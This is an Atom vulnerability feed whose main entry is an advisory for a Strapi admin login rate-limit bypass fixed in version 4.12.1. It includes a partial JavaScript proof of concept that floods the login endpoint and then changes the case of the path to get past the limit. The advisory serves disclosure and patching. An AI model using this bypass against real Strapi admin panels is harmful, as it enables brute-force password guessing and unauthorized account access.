<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-17T15:22:31.725156+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-188214</id>
    <title>EUVD-2026-188214</title>
    <updated>2026-10-17T15:22:31.727791+00:00</updated>
    <content>EUVD-2026-188214</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-188214"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2023-38507</id>
    <title>fkie_cve-2023-38507</title>
    <updated>2026-10-17T15:22:31.727822+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2023-38507"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-24q2-59hm-rh9r</id>
    <title>GHSA-24q2-59hm-rh9r — Strapi Improper Rate Limiting vulnerability</title>
    <updated>2026-10-17T15:22:31.727854+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @strapi/admin, npm: @strapi/plugin-users-permissions</p>
<p>### 1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.</p>
<p>### 2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
1. Manipulating request paths to upper or lower case. (Pattern 1)
   - In this case, avoidance is possible with various patterns.
2. Add path slashes to the end of the request path. (Pattern 2)</p>
<p>### 3. PoC
Access the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.</p>
<p>#### Pattern 1 (uppercase and lowercase)
```js
// poc.js
(async () =&gt; {
  const data1 = {
    email: "admin@strapi.com",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "admin@strapi.com",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };</p>
<p>for (let i = 0; i &lt; 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }</p>
<p>const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);</p>
<p>const res2 = await fetch("http://localhost:1337/admin/Login", {  // capitalize part of path
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Conte…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-24q2-59hm-rh9r"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/gsd-2023-38507</id>
    <title>gsd-2023-38507</title>
    <updated>2026-10-17T15:22:31.727913+00:00</updated>
    <content>gsd-2023-38507</content>
    <link href="https://cve.radiocsirt.org/vuln/gsd-2023-38507"/>
  </entry>
</feed>
